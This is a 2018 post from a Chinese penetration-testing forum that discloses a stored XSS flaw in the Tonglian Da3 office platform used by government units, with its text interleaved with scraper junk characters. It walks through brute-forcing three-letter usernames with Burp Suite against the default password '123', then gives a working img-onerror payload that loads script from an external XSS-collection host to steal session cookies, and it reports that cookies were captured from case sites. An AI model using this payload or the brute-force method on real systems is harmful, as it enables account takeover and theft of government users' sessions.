中国网络渗透测试联盟

标题: 同联Da3协同办公平台后台通用储存型xss漏洞 [打印本页]

---

作者: admin    时间: 2018-10-20 20:14
标题: 同联Da3协同办公平台后台通用储存型xss漏洞
) Y& f" p/ ^' S( m* p- W q+ P' } 4 C d8 E# L. H% h4 W6 _ 2 n1 q1 X! |% Q) [" [. c& m 7 o, g; A8 ~7 x4 t + A! J( K9 r3 `" t- N; ?7 d 2 w9 I! H1 W8 @1 Y0 X A

) Z" Z: c4 m, [$ [' Z8 w

0 Z# U- i: c7 ~8 d! n 同联Da3协同办公平台后台通用储存型xss漏洞

' Z3 N9 J1 _' A 平台简介：

* M; k* e. ~% U: T |+ O

 

( p! h( l% D4 N! r" e/ Q. p* `

北京同联信息技术有限公司（以下简称同联）由用友政务与用友原行业事业部团队合伙出资成立。同联以“为全国各级政府单位提供信息化咨询规划、建设解决方案和信息化运维服务，以加强各级政府的精细化、智能化管理，形成高效、敏捷、便民的新型政府。”为使命，致力于为各级政府单位提供专业、标准、灵活、易用的信息化产品及专业的服务。
6 H$ U! E5 U* r% L: H H L" O同联面向政府单位提供专业、标准、灵活、易用的信息化产品。针对各级政府单位，分别提供以“移动政务办公”为主的Da3系列管理软件；针对政法单位提供以“协同办案”为核心的政法协同办案系统等。
6 K: {8 _4 G; r( |$ D p6 D同联本着“协作、专业、创新”的工作方针，为推动各级政府单位信息化、促进各级政府快速转型为 “智慧型政府”做出积极贡献！ 0 F: Z% v! U4 s$ ]4 v

3 B/ o* |: w) a4 |1 s

7 a7 n5 ~. R9 ^# ?6 E   & `$ D: N1 s; [0 g2 k; y% V

由于此程序为新开发的程序，故能找到的案例并不多，下面附案例地址：

2 O8 r9 @. ^0 p6 J' b6 ]4 ^

 

: U6 f* {! V' j1 ]. v http://1.1.1.1:7197/cap-aco/#（案例2-） ) U2 F' k8 }# Z1 ~' Y6 l

http://www.XXOO.com （案例1-官网网站） 5 J- L6 Z# o; W5 q2 g4 Z$ u

, f1 c0 K( f3 p9 t

8 Z! M, S( B0 t( R$ Q! _ 漏洞详情: % e) p" i5 v3 e/ f

3 x0 }3 k: ]7 g2 p0 A

9 B$ p+ P2 z5 c. F- B9 M  案例一、 4 v3 k- E: y+ e

% M* J6 v+ Q& m( y7 \7 o Z9 q1 Q% U/ x) L- c

) i9 O/ x: E7 ~! K# ? 初步确定平台的默认账号为姓名的首字母小写，初始密码为123，为了能够更好的模拟入侵，使用黑盒测试手段进行测试 * B! H' B9 N) B6 n7 w% b! d

- d# T# ^8 s' r- e& ?: F

7 G2 l+ v+ N8 Y9 n      首先使用burpsuite代理，然后再用黑客字典生成一个全英文小写的3位字典，利用burpsuite进行暴力破解，破解结果如图： : b9 r. U; t1 J0 X' i5 {' {

( q) l0 w1 @ ]$ X

 

! o. U- L4 o# G% F1 l& M, B$ m5 k

status为302即表示破解成功，然后找个破解成功的账号登录系统。然后在通知公告---通知公告发布-拟稿处存在储存型xss漏洞，我在编机器里填写好标题、选择人员，点html如图： # J: J& b# n5 O3 h& U

4 h$ a9 a4 i6 S6 X/ z2 f   1 |0 w8 }7 k# N& w ]. X

h* J, i* h/ G0 {) T6 W) L) n

& ^* o% ?- \3 B& V

0 K, E. Z5 x# n* @& h2 A

! ~* ~$ c; ~ H) w( @7 g: j- } 然后插我们的xss跨站代码（经过测试发现过滤了好多标签，比如script，没过滤img、iframe标签），这里我们用img标签来测试，payload如下

! V6 W( |0 @$ D* R& Q8 V7 F2 g

 

( }8 G; }- j8 |' _( h6 s

<img src=x onerror=s=createElement('\x73cript');body.appendChild(s);s.src='http://xss.6kb.org/7OO7GQ?1510065652';>，如图：

5 Y: @; m A y0 M+ ^/ k0 u0 r

* L* v' G# G7 a 然后发送，接收cookie如图： ; V& {) r& k# B) u

' u5 t/ ?' l: z$ d# r

 

) {, K3 a% V: f1 Q# ]- Q  

 

1 }6 N5 h1 s/ Z1 {3 R. ~6 K( n# g

; {4 [/ [5 U v7 }" u8 l   0 \* L6 y( U9 v# ^0 \, X+ {

" N) Y2 }' \1 V

, p" R! C" A7 H$ c3 D' Z

 

案例2、

4 [; G7 Y% t' r

% J9 v& l( b. d1 e 前面步骤都一样，下面看效果图：

, y% Y; G% Q5 J, u" Q

1 Y' J# w" u% o0 y- _1 c

* q: `3 Z+ T; w$ `2 c6 X* f

5 V# h: X$ j$ C0 H! w6 ^

: v* t9 `0 o" R1 c0 ^0 E  

5 }: D' C2 c) R! N# I/ N' U  

; \6 A! H- Y( e' S

& ?( k' @$ f! a0 m) D2 B8 K" v  

 

 

% S9 |' E2 I" S7 Y' u   2 d4 q3 t$ M% d$ R8 x

---

欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)

Powered by Discuz! X3.2